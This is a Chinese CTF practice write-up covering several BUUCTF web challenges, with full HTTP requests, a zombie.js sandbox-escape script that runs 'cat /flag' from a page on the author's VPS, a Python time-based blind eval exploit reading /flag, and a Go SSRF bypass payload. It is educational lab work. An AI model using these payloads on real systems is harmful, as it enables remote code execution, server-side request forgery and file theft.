const token = crypto.randomBytes(32).toString('hex');
authToken = token;
await Token.create({ userId: req.session.userId, token, valid: true });
await Token.update({
valid: false,
}, {
where: {
userId: req.session.userId,
token: { [Op.not]: authToken }
}
});
} catch (err) {
next(createError(500));
}
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
res.redirect(`/user/verify?token=${authToken}`)
} else {
// Well, admin won't do that actually XD.
return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}
});


router.get('/verify', async (req, res, next) => {
let { token } = req.query;
if (!token || typeof (token) !== "string") {
return res.send("Parameters error");
}
let user = await User.findByPk(req.session.userId);
const result = await Token.findOne({
token,
userId: req.session.userId,
valid: true
});
if (result) {
try {
await Token.update({
valid: false
}, {
where: { userId: req.session.userId }
});
await User.update({
bucket: user.personalBucket
}, {
where: { userId: req.session.userId }
});
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
} catch (err) {
next(createError(500));
}
} else {
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Failed to update, check your token carefully" })
}
})


// Not implemented yet
router.get('/bucket', async (req, res) => {
const user = await User.findByPk(req.session.userId);
///^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) {
return res.json({ message: "Sorry but our remote oss server is under maintenance" });
} else {
// Should be a private site for Admin
try {
const page = new Crawler({
userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
referrer: 'https://www.ichunqiu.com/',
waitDuration: '3s'
});
await page.goto(user.bucket);
const html = page.htmlContent;
const headers = page.headers;
const cookies = page.cookies;
await page.close();

return res.json({ html, headers, cookies});
} catch (err) {
return res.json({ err: 'Error visiting your bucket. ' })
}
}
});



module.exports = router;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
const zombie = require('zombie');


class Crawler {
constructor(options) {
this.crawler = new zombie({
userAgent: options.userAgent,
referrer: options.referrer,
silent: true,
strictSSL: false
});
}

goto(url) {
return new Promise((resolve, reject) => {
try {
this.crawler.visit(url, () => {
const resource = this.crawler.resources.length
? this.crawler.resources.filter(resource => resource.response).shift() : null;
this.statusCode = resource.response.status
this.headers = this.getHeaders();
this.cookies = this.getCookies();
this.htmlContent = this.getHtmlContent();
resolve();
});
} catch (err) {
reject(err.message);
}
})
}

close() {
return new Promise((resolve, reject) => {
try {
resolve(this.crawler.destroy());
} catch (err) {
reject(err.message);
}
});
}

getCookies() {
const cookies = [];

if (this.crawler.cookies) {
this.crawler.cookies.forEach(cookie => cookies.push({
name: cookie.key,
value: cookie.value,
domain: cookie.domain,
path: cookie.path,
}));
}

return cookies;
}

getHeaders() {
const headers = new Map();

const resource = this.crawler.resources.length
? this.crawler.resources.filter(_resource => _resource.response).shift() : null;

if (resource) {
resource.response.headers._headers.forEach((header) => {
if (!headers[header[0]]) {
headers[header[0]] = [];
}
headers[header[0]].push(header[1]);
});
}
return headers;
}

getHtmlContent() {
let html = '';
if (this.crawler.document && this.crawler.document.documentElement) {
try {
html = this.crawler.html();
} catch (error) {
console.log(error);
}
}
return html;
}
}





module.exports = Crawler;

从user路由不难看出有个profile路由是更新信息用的,然后会跳转到verify去确认更新,但是这里有个逻辑漏洞,就是假如我们先发一个包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /user/profile HTTP/1.1
Host: 8f93aa09-8dad-46ee-937a-c6f089d2a7fa.node4.buuoj.cn:81
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://8f93aa09-8dad-46ee-937a-c6f089d2a7fa.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://8f93aa09-8dad-46ee-937a-c6f089d2a7fa.node4.buuoj.cn:81/user/profile
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: connect.sid=s%3ARulrsSRRovZHaXj_WjgjL1hbU3BDEs8u.kV2WuBQoucwWHd4Y2nJH21BsMEs2WbepqBvw6p1DeZY
Connection: close

affiliation=22&age=22&bucket=https%3A%2F%2F53476d0ba6dfca8de3a762d8a2c52961.oss-cn-beijing.ichunqiu.com%2F

然后获取到返回包

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 302 Found
Server: openresty
Date: Sun, 02 Jul 2023 05:01:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 210
Connection: close
Location: /user/verify?token=e4710b66a8956b5b9cbe1a4fc0be140379c989295d0fe9ef9f85cac82043a683
Vary: Accept
X-Powered-By: Express

<p>Found. Redirecting to <a href="/user/verify?token=e4710b66a8956b5b9cbe1a4fc0be140379c989295d0fe9ef9f85cac82043a683">/user/verify?token=e4710b66a8956b5b9cbe1a4fc0be140379c989295d0fe9ef9f85cac82043a683</a></p>

这时候我们获取到token了已经,我们可以去确认更新,但是我们先不点进去,我们再发送一次包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /user/profile HTTP/1.1
Host: 8f93aa09-8dad-46ee-937a-c6f089d2a7fa.node4.buuoj.cn:81
Content-Length: 103
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://8f93aa09-8dad-46ee-937a-c6f089d2a7fa.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://8f93aa09-8dad-46ee-937a-c6f089d2a7fa.node4.buuoj.cn:81/user/profile
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: connect.sid=s%3ARulrsSRRovZHaXj_WjgjL1hbU3BDEs8u.kV2WuBQoucwWHd4Y2nJH21BsMEs2WbepqBvw6p1DeZY
Connection: close

affiliation=22&age=22&bucket=http%3A%2F%2F114.116.119.253:8888/exp.html?.oss-cn-beijing.ichunqiu.com%2F

由于user代码处是先更新信息的

1
2
3
4
5
6
7
8
try {
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
where: { userId: req.session.userId }
});

所以我们这样可以二次更改url为我们vps的地址,然后再点进verify路由,就可以成功的替换路由为自己的。然后进入/bucket路由时,由于不符合32位的特点,我们就进入else分值,让bot去访问vps的地址
然后这里bot使用的是zombie库,zombie库的话有一个rce的nday,我们构造恶意payload即可rce

1
2
<script>document.write(this["constructor"]["constructor"]("return(global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString())")());</script>

image.png

总的来说还是比较不错的这一题

[QWB2021 Quals]托纳多

BUU环境有问题,参考guoke爷的wp
https://guokeya.github.io/post/SZkQ4b1G/
学到了很多tornado的ssti和sql注入的配合。

[RCTF2019]calcalcalc

这一题居然有你吗3个后端,但是用人话来说就是,给一个表达式,让3个后端运算,运算结果一样才返回,但是也同时有一个逻辑缺陷,假如有一个后端延时了,其他的也要跟着延时,所以突破口就是在python后端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, request
import bson
import json
import datetime

app = Flask(__name__)


@app.route("/", methods=["POST"])
def calculate():
data = request.get_data()
expr = bson.BSON(data).decode()
if 'exec' in dir(__builtins__):
del __builtins__.exec
return bson.BSON.encode({
"ret": str(eval(str(expr['expression'])))
})


if __name__ == "__main__":
app.run("0.0.0.0", 80)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#encoding = utf-8
import requests
from time import time

url = 'http://f7d8a58d-a2d6-40a5-8679-b1ff13d9494f.node4.buuoj.cn:81/calculate'


def encode(payload):
return 'eval(%s)' % ('+'.join('chr(%d)' % ord(c) for c in payload))


def query(bool_expr):
payload = "__import__('time').sleep(2) if %s else 1" % bool_expr
# print(encode(payload))
t = time()
r = requests.post(url, json={'isVip': True, 'expression': encode(payload)})
# print(r.text)
delta = time() - t
print(payload, delta)
return delta > 2

def binary_search(geq_expression, l, r): #二分法~
eq_expression = geq_expression.replace('>=', '==')
while True:
if (r - l) < 4:
for mid in range(l, r + 1):
if query(eq_expression.format(num=mid)):
return mid
else:
print('NOT FOUND')
return
mid = (l + r) // 2
if query(geq_expression.format(num=mid)):
l = mid
else:
r = mid

# flag_len = binary_search("len(open('/flag').read())>={num}", 0, 100)
flag_len = 36
print('flag length: %d' % flag_len)

flag = 'flag{'
while len(flag) < 50:
c = binary_search("ord(open('/flag').read()[%d])>={num}" % len(flag), 0, 128)
if c: # the bs may fail due to network issues
flag += chr(c)
print(flag)

这里就用到了命令执行的时间盲注了。

[FireshellCTF2020]Cars

看到APK的那一瞬间我就觉得不是我做的。

[JMCTF 2021]GoOSS

考点:Go的SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
package main

import (
"bytes"
"crypto/md5"
"encoding/hex"
"fmt"
"github.com/gin-gonic/gin"
"io"
"io/ioutil"
"net/http"
"os"
"strings"
"time"
)

type File struct {
Content string `json:"content" binding:"required"`
Name string `json:"name" binding:"required"`
}
type Url struct {
Url string `json:"url" binding:"required"`
}

func md5sum(data string) string {
s := md5.Sum([]byte(data))
return hex.EncodeToString(s[:])
}

func fileMidderware(c *gin.Context) {
fmt.Println("hello")
fmt.Println(c.Request.URL.String())

fileSystem := http.Dir("./files/")
if c.Request.URL.String() == "/" {
c.Next()
return
}
f, err := fileSystem.Open(c.Request.URL.String())
if f == nil {
c.Next()
}
//
if err != nil {
c.Next()
return
}
defer f.Close()
fi, err := f.Stat()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if fi.IsDir() {
fmt.Println(c.Request.URL.String())
if !strings.HasSuffix(c.Request.URL.String(), "/") {
fmt.Println("aaa")
c.Redirect(302, c.Request.URL.String()+"/")
} else {
files := make([]string, 0)
l, _ := f.Readdir(0)
for _, i := range l {
files = append(files, i.Name())
}

c.JSON(http.StatusOK, gin.H{
"files": files,
})
}

} else {
data, _ := ioutil.ReadAll(f)
c.Header("content-disposition", `attachment; filename=`+fi.Name())
c.Data(200, "text/plain", data)
}

}

func uploadController(c *gin.Context) {
var file File
if err := c.ShouldBindJSON(&file); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}

dir := md5sum(file.Name)

_, err := http.Dir("./files").Open(dir)
if err != nil {
e := os.Mkdir("./files/"+dir, os.ModePerm)
_, _ = http.Dir("./files").Open(dir)
if e != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
return

}

}
filename := md5sum(file.Content)
path := "./files/" + dir + "/" + filename
err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

c.JSON(200, gin.H{
"message": "file upload succ, path: " + dir + "/" + filename,
})
}
func vulController(c *gin.Context) {

var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}

if !strings.HasPrefix(url.Url, "http://127.0.0.1:1234/") {
c.JSON(403, gin.H{"msg": "url forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}

resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer resp.Body.Close()
var buffer [512]byte
result := bytes.NewBuffer(nil)
for {
n, err := resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err != nil && err == io.EOF {

break
} else if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
func main() {
r := gin.Default()
r.Use(fileMidderware)
r.POST("/vul", vulController)
r.POST("/upload", uploadController)
r.GET("/", func(c *gin.Context) {
c.JSON(200, gin.H{
"message": "pong",
})
})
_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}

源码不多,随便审一审就知道是需要使用SSRF去读文件,那个上传的路由没明白是什么意思,反正没有作用。
这里假如想SSRF,你访问的路由前缀必须是http://127.0.0.1:1234/
然后除此之外,他还给了一个php的服务

1
2
3
4
<?php
// php in localhost port 80
readfile($_GET['file']);
?>

也就是需要我们用readfile去读文件,读flag就行了。
我们现在需要做的就是绕过去SSRF

然后关注一下源码中的302跳转这一段

1
2
3
4
5
if fi.IsDir() {
fmt.Println(c.Request.URL.String())
if !strings.HasSuffix(c.Request.URL.String(), "/") {
fmt.Println("aaa")
c.Redirect(302, c.Request.URL.String()+"/")

假如c.Request.URL.String()是一个目录的话,然后后缀是/,就会跳转到这个目录,这里其实也算是发送了一次GET请求,就是SSRF的路由点,那么我们就需要构造如下的payload了:
image.png
{"url":"[http://127.0.0.1:1234//127.0.0.1/?file=/flag&../../../.."}](http://127.0.0.1:1234//127.0.0.1/?file=/flag&../../../.."})

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#BUUCTF#刷题记录